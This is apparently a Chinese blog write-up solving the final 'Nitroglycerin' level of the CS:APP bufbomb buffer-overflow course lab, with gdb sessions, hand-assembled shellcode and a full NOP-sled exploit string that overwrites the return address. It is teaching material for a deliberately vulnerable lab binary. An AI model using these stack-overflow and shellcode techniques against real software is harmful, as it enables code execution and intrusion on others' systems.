上提供一个和,要求输入某一字符串使得程序出现溢出,以执行特定指令,这里是。
原话是: The next level is for those who want to push themselves beyond our baseline expectations for the course,and who want to face a challenge in designing buffer overflow attacks that arises in real life.
一共5问,难度循序渐进。第4问和书上习题3.38相似,但第5问需要bufbomb带-n参数以Nitroglycerin-'硝化甘油模式'运行,要求getbufn函数按同一个输入运行5次,每次都出现同样的溢出:即将getbufn返回值由默认的1变成cookie(一个给定的32位数字)。
int getbufn()
{
char buf[512];
Gets(buf);
return 1;
}
|
叫“Nitroglycerin(硝化甘油)",因为getbufn每次运行运行的栈桢地址都是不同的,就是说%ebp每次都不同,就像硝化甘油一样不稳定。而第4问(第4问叫硝酸甘油)的getbuf函数经过特殊处理,每次运行都加载到同一个栈桢地址,就像诺贝尔发明的硝酸甘油一样稳定
(但估计这只是在CMU的fish machine上,在我的Linux上运行时,getbuf每次的栈桢地址也都不同)
.
虽然getbufn每次的ebp都不同,但按照说明里讲,getbufn运行时会调用系统的alloca库函数,在栈中分配0-127字节,所以每次getbufn的%ebp都相差+-127字节。但buf数组有512字节,所以只要取值的当(
我们取%ebp-0x100),无论%ebp是多少,总能跳转到buf的512字节内。而只要在这+-127字节的跳转范围内放上nop指令,无论跳到其中的哪里都会继续运行直到遇到“真正的溢出指令”。剩下的只是在“真正的溢出指令”里做什么了。
ebp每次都不同,但输入每次都是相同的,就是说每次覆盖到(%ebp)处的值都一样。所以“真正的溢出指令”里要做的一件事就是
只根据%esp来恢复原来的(%ebp):
先随便创建一个空文件nitro.raw,运行gdb,在getbufn设断点,执行到断点后查看%ebp和(%ebp)
(gdb) b getbufn
Breakpoint 1 at 0x8048a69
(gdb) r -t 1 -n < nitro.raw
Starting program: /home/ren/labs/L3/bufbomb -t 1 -n < nitro.raw
Team: 1
Cookie: 0x1c2a3245
// 参数为 -t 1 时的cookie在这里Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) x $ebp
0xbfaf3d38: 0xbfaf3d58
(gdb) p $ebp
$32 = (void *) 0xbfaf3d38
看到了,上一桢的%ebp和本桢(getbufn桢)的%ebp之间相差32,所以getbufn执行
mov %ebp,%esp
pop %ebp
ret
|
后,esp和上一桢的ebp之间差32-8=24。
之后就是执行完溢出代码后要返回原地址了,查看一下反汇编代码
8048a91: e8 ca ff ff ff call 8048a60 <getbufn>
8048a96: 89 c2 mov %eax,%edx
|
所以返回地址是0x8048a96
又知道cookie值等于
0x1c2a3245,所以“真正的溢出指令”要做的就是
68 96 8a 04 08 push $0x8048a96
8d 6c 24 1c lea 0x1c(%esp),%ebp //上面 push $0x8048a96
了,所以%esp和原%ebp差为24+4=0x1c
b8 45 32 2a 1c mov $0x1c2a3245,%eax
c3 ret
|
最后是getbufn溢出后跳转到哪里了,上文说过
我们取%ebp-0x100,所以(%ebp+4)处写入跳转地址:0xbfaf3d38-0x100 = 0xbfaf3c38。(%ebp)处写什么都无所谓,所以就写原值吧。
所以最后的溢出字符串nitro.txt是
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 68 96 8a 04 08 8d 6c 24 1c b8 45 32 2a 1c c3 58 3d af bf 38 3c af bf
|
再使sendstring程序生成输入序列:
cat nitro.txt | ./sendstring -n 5 > nitro.raw
得到了nitro.raw,继续运行吧:
(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
Keep going
Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
Keep going
Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
Keep going
Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
Keep going
Breakpoint 1, 0x08048a69 in getbufn ()
(gdb) c
Continuing.
Type string:KABOOM!: getbufn returned 0x1c2a3245
sh: /usr/sbin/sendmail: not found
Error: Unable to send validation information to grading server
Program exited normally.
..............................................................
好累,开始第五章吧
阅读(19903) | 评论(7) | 转发(0) |